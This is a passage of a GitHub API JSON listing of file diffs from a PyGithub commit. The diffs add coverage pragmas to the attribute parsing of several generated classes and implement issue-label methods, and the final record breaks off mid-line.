]"},{"sha":"321f54fc52bcb0ac7843ecf9de53c091e2ad942c","filename":"src/github/GitTree.py","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitTree.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -33,15 +33,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"tree\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], list ) and ( len( attributes[ \"tree\" ] ) == 0 or isinstance( attributes[ \"tree\" ][ 0 ], dict ) )\n self.__tree = [\n GitTreeElement.GitTreeElement( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"tree\" ]\n ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"97ff07009a4af0d1bacc2c404dbbbff58700b359","filename":"src/github/GitTreeElement.py","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitTreeElement.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -47,21 +47,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"mode\", \"path\", \"sha\", \"size\", \"type\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"mode\" in attributes and attributes[ \"mode\" ] is not None:\n+ if \"mode\" in attributes and attributes[ \"mode\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mode\" ], str )\n self.__mode = attributes[ \"mode\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"9ac71aa29d8287d57b4d2109754f9da1b0a13fb7","filename":"src/github/Hook.py","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Hook.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -99,21 +99,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"active\", \"config\", \"created_at\", \"events\", \"id\", \"last_response\", \"name\", \"updated_at\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"active\" in attributes and attributes[ \"active\" ] is not None:\n+ if \"active\" in attributes and attributes[ \"active\" ] is not None: # pragma no branch\n self.__active = attributes[ \"active\" ]\n- if \"config\" in attributes and attributes[ \"config\" ] is not None:\n+ if \"config\" in attributes and attributes[ \"config\" ] is not None: # pragma no branch\n self.__config = attributes[ \"config\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"events\" in attributes and attributes[ \"events\" ] is not None:\n+ if \"events\" in attributes and attributes[ \"events\" ] is not None: # pragma no branch\n self.__events = attributes[ \"events\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None:\n+ if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None: # pragma no branch\n self.__last_response = attributes[ \"last_response\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]"},{"sha":"8c10440882b7a8a0ce52adacff48066cce006a31","filename":"src/github/Issue.py","status":"modified","additions":32,"deletions":21,"changes":53,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Issue.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None\n@@ -257,59 +268,59 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"assignee\", \"body\", \"closed_at\", \"closed_by\", \"comments\", \"created_at\", \"html_url\", \"id\", \"labels\", \"milestone\", \"number\", \"pull_request\", \"repository\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None:\n+ if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"assignee\" ], dict )\n self.__assignee = NamedUser.NamedUser( self.__requester, attributes[ \"assignee\" ], completion = LazyCompletion )\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_at\" ], str )\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None:\n+ if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_by\" ], dict )\n self.__closed_by = NamedUser.NamedUser( self.__requester, attributes[ \"closed_by\" ], completion = LazyCompletion )\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"labels\" in attributes and attributes[ \"labels\" ] is not None:\n+ if \"labels\" in attributes and attributes[ \"labels\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"labels\" ], list ) and ( len( attributes[ \"labels\" ] ) == 0 or isinstance( attributes[ \"labels\" ][ 0 ], dict ) )\n self.__labels = [\n Label.Label( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"labels\" ]\n ]\n- if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None:\n+ if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"milestone\" ], dict )\n self.__milestone = Milestone.Milestone( self.__requester, attributes[ \"milestone\" ], completion = LazyCompletion )\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None:\n+ if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None: # pragma no branch\n self.__pull_request = attributes[ \"pull_request\" ]\n- if \"repository\" in attributes and attributes[ \"repository\" ] is not None:\n+ if \"repository\" in attributes and attributes[ \"repository\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repository\" ], dict )\n self.__repository = Repository.Repository( self.__requester, attributes[ \"repository\" ], completion = LazyCompletion )\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"5ed8d8d10b46e6427503e050fdfad6ba22837e25","filename":"src/github/IssueComment.py","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/IssueComment.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"a276fe9eaea713a8599710636ead83d77023b99f","filename":"src/github/IssueEvent.py","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/IssueEvent.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -78,24 +78,24 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"commit_id\", \"created_at\", \"event\", \"id\", \"issue\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"event\" in attributes and attributes[ \"event\" ] is not None:\n+ if \"event\" in attributes and attributes[ \"event\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"event\" ], str )\n self.__event = attributes[ \"event\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"issue\" in attributes and attributes[ \"issue\" ] is not None:\n+ if \"issue\" in attributes and attributes[ \"issue\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"issue\" ], dict )\n self.__issue = Issue.Issue( self.__requester, attributes[ \"issue\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"1f11c4d96625bb675a5c9ce84c813caf4745ff67","filename":"src/github/Label.py","status":"modified","additions":10,"deletions":3,"changes":13,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Label.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @todo Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None\n@@ -53,9 +60,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"color\", \"name\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"color\" in attributes and attributes[ \"color\" ] is not None:\n+ if \"color\" in attributes and attributes[ \"color\" ] is not None: # pragma no branch\n self.__color = attributes[ \"color\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]"},{"sha":"ffbb51b8941c5bdd34bbc539825666e1155b0699","filename":"src/github/Milestone.py","status":"modified","additions":11,"deletions":11,"changes":22,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Milestone.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -114,36 +114,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"closed_issues\", \"created_at\", \"creator\", \"description\", \"due_on\", \"id\", \"number\", \"open_issues\", \"state\", \"title\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None:\n+ if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_issues\" ], int )\n self.__closed_issues = attributes[ \"closed_issues\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"creator\" in attributes and attributes[ \"creator\" ] is not None:\n+ if \"creator\" in attributes and attributes[ \"creator\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"creator\" ], dict )\n self.__creator = NamedUser.NamedUser( self.__requester, attributes[ \"creator\" ], completion = LazyCompletion )\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None:\n+ if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"due_on\" ], str )\n self.__due_on = attributes[ \"due_on\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"61400ed17d9985d2de72dbf8b489de903dbe494e","filename":"src/github/NamedUser.py","status":"modified","additions":26,"deletions":26,"changes":52,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/NamedUser.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -365,81 +365,81 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"contributions\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None:\n+ if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"contributions\" ], int )\n self.__contributions = attributes[ \"contributions\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" 